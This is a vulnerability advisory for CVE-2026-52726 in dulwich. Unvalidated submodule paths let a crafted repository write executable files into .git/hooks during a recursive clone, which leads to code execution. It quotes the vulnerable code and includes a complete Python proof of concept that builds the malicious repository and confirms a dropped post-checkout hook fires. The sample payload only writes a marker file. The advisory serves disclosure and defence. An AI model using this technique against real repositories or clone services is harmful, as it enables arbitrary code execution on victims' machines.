CVE-2026-52726: Dulwich's submodule path traversal in porcelain.submodule_update / porcelain.clone(recurse_submodules=True) yields RCE via attacker-dropped .git/hooks payload

Summary

dulwich.porcelain.submoduleupdate, and by extension porcelain.clone(..., recursesubmodules=True), materializes attacker-controlled submodule paths from a crafted upstream repository without path validation. A malicious .gitmodules plus a matching tree gitlink whose path is .git/hooks (or any other directory inside the parent repository's .git directory) causes the attacker's submodule tree contents to be written directly into the victim's .git/hooks/ directory, preserving executable mode bits. The dropped executables are then run by any subsequent git or dulwich command that invokes the matching hook, resulting in arbitrary code execution.

This is the dulwich equivalent of the upstream Git fixes for CVE-2024-32002 / CVE-2024-32004, which were never propagated into dulwich's separately implemented submodule porcelain.

Affected

- Package: dulwich (PyPI) - Affected versions: >=0.23.2, <1.2.5 - Affected platforms: all (Linux, macOS, Windows). Exploitation does not require a case-insensitive or NTFS filesystem, because the path written is a literal .git/hooks rather than a case- or short-name-aliased form.

Affected entry points: - dulwich.porcelain.submoduleupdate(repo, init=True, recursive=True) - dulwich.porcelain.clone(source, target, recursesubmodules=True) - dulwich submodule update CLI / dulwich clone --recurse-submodules CLI

Vulnerable code

The submodule path from the tree's gitlink entry (and matching .gitmodules) is consumed without validation in dulwich/porcelain/submodule.py.

The attacker-controlled path enters the loop from itercachedsubmodules (submodule.py#L154-L168):

python for path, targetsha in submodulestoupdate: pathstr = ( path.decode(DEFAULTENCODING) if isinstance(path, bytes) else path )

submodulename: bytes | None = None for smpath, smurl, smname in readsubmodules(gitmodulespath): if smpath == path: submodulename = smname break

if not submodulename: continue

It flows unchecked into os.path.join and the filesystem (submodule.py#L187-L188):

python submodulepath = os.path.join(r.path, pathstr) submodulegitdir = os.path.join(r.controldir(), "modules", pathstr)

Finally, the attacker tree's contents are materialized into that directory via buildindexfromtree with no validatepathelement argument, defaulting to the lax validator (submodule.py#L229-L234):

python buildindexfromtree( submodulepath, subrepo.indexpath(), subrepo.objectstore, treeid, )

Three issues compound:

1. pathstr originates from the parent repository's tree gitlink entry (attacker-controlled) and is never validated against .git, .., or other path-traversal patterns. The same value is read from the attacker-supplied .gitmodules blob via readsubmodules, which also performs no validation. 2. submodulepath = os.path.join(r.path, pathstr) therefore resolves to an attacker-chosen directory anywhere on disk (e.g. <worktree>/.git/hooks). 3. buildindexfromtree is called without validatepathelement, so it defaults to validatepathelementdefault, which only rejects literal .git, ., and ... It does not refuse a rootpath that is itself inside the parent's .git directory, and it honors the attacker tree's file modes including executable bits (0o100755).

Reachability

A direct production call path from a user invocation: porcelain.clone(source, target, recursesubmodules=True) at dulwich/porcelain/init.py:1548-1551 calls submoduleupdate(repo, init=True, recursive=True) once the parent clone completes, reaching the unsanitized loop at submodule.py#L154-L234.

The CLI command dulwich clone --recurse-submodules <url> reaches the same sink via dulwich/cli.py:2131.

Any service that exposes porcelain.clone(..., recursesubmodules=True) on attacker-supplied URLs is exposed: CI runners, repository import tools, package resolvers that use dulwich as a pure-Python git, and language-server "fetch dependency from git" features.

Proof of concept

End-to-end against pip-installed dulwich==1.2.4, demonstrating both the path-traversal primitive and the resulting code execution when the victim subsequently runs git. The payload writes a marker file rather than performing any destructive action.

python import os, tempfile, subprocess import dulwich.repo as r import dulwich.porcelain as p from dulwich.objects import Blob, Commit, Tree

WORKDIR = tempfile.mkdtemp(prefix="dulwich-poc-") ATTACKER = os.path.join(WORKDIR, "att.git") VICTIMPARENT = os.path.join(WORKDIR, "vicparent.git") VICTIMWT = os.path.join(WORKDIR, "vicwt") MARKER = os.path.join(WORKDIR, "marker")

Attacker submodule contains a single file named "post-checkout" with mode 0755 and a benign shell payload that writes a marker file. attacker = r.Repo.initbare(ATTACKER, mkdir=True) payload = b"#!/bin/sh\necho executed > " + MARKER.encode() + b"\n" pb = Blob.fromstring(payload) attacker.objectstore.addobject(pb) at = Tree() at.add(b"post-checkout", 0o100755, pb.id) attacker.objectstore.addobject(at) ac = Commit() ac.tree = at.id ac.author = ac.committer = b"a <a@a>" ac.authortime = ac.committime = 0 ac.authortimezone = ac.committimezone = 0 ac.message = b"x" attacker.objectstore.addobject(ac) attacker.refs[b"refs/heads/master"] = ac.id attacker.refs.setsymbolicref(b"HEAD", b"refs/heads/master")

Victim parent has a .gitmodules and a tree gitlink, both pointing at path ".git/hooks". The gitlink targets the attacker submodule commit. victim = r.Repo.initbare(VICTIMPARENT, mkdir=True) gitmod = ( b'[submodule "evil"]\n' b'\tpath = .git/hooks\n' b'\turl = ' + ATTACKER.encode() + b'\n' ) gmb = Blob.fromstring(gitmod) victim.objectstore.addobject(gmb) vt = Tree() vt.add(b".gitmodules", 0o100644, gmb.id) vt.add(b".git/hooks", 0o160000, ac.id) victim.objectstore.addobject(vt) vc = Commit() vc.tree = vt.id vc.author = vc.committer = b"a <a@a>" vc.authortime = vc.committime = 0 vc.authortimezone = vc.committimezone = 0 vc.message = b"v" victim.objectstore.addobject(vc) victim.refs[b"refs/heads/master"] = vc.id victim.refs.setsymbolicref(b"HEAD", b"refs/heads/master")

Single victim call: clone with recursesubmodules=True p.clone(VICTIMPARENT, VICTIMWT, recursesubmodules=True)

hook = os.path.join(VICTIMWT, ".git", "hooks", "post-checkout") assert os.path.exists(hook), "hook was not written" assert os.stat(hook).stmode & 0o111, "hook is not executable"

git running in the victim worktree then executes the dropped hook subprocess.run(["git", "-C", VICTIMWT, "checkout", "master"], check=True, captureoutput=True) assert os.path.exists(MARKER), "hook did not fire" print("Code execution confirmed:", open(MARKER).read().strip())

The trigger surface is broader than this proof of concept: the dropped file fires for any matching hook name (post-checkout, pre-commit, post-merge, post-rewrite, post-applypatch, and others). dulwich itself executes several hooks (pre-commit, commit-msg, post-commit, pre-receive, update, post-receive; see dulwich/hooks.py and dulwich/repo.py), so a victim using only dulwich is also reachable without upstream Git.

Credit

tonghuaroot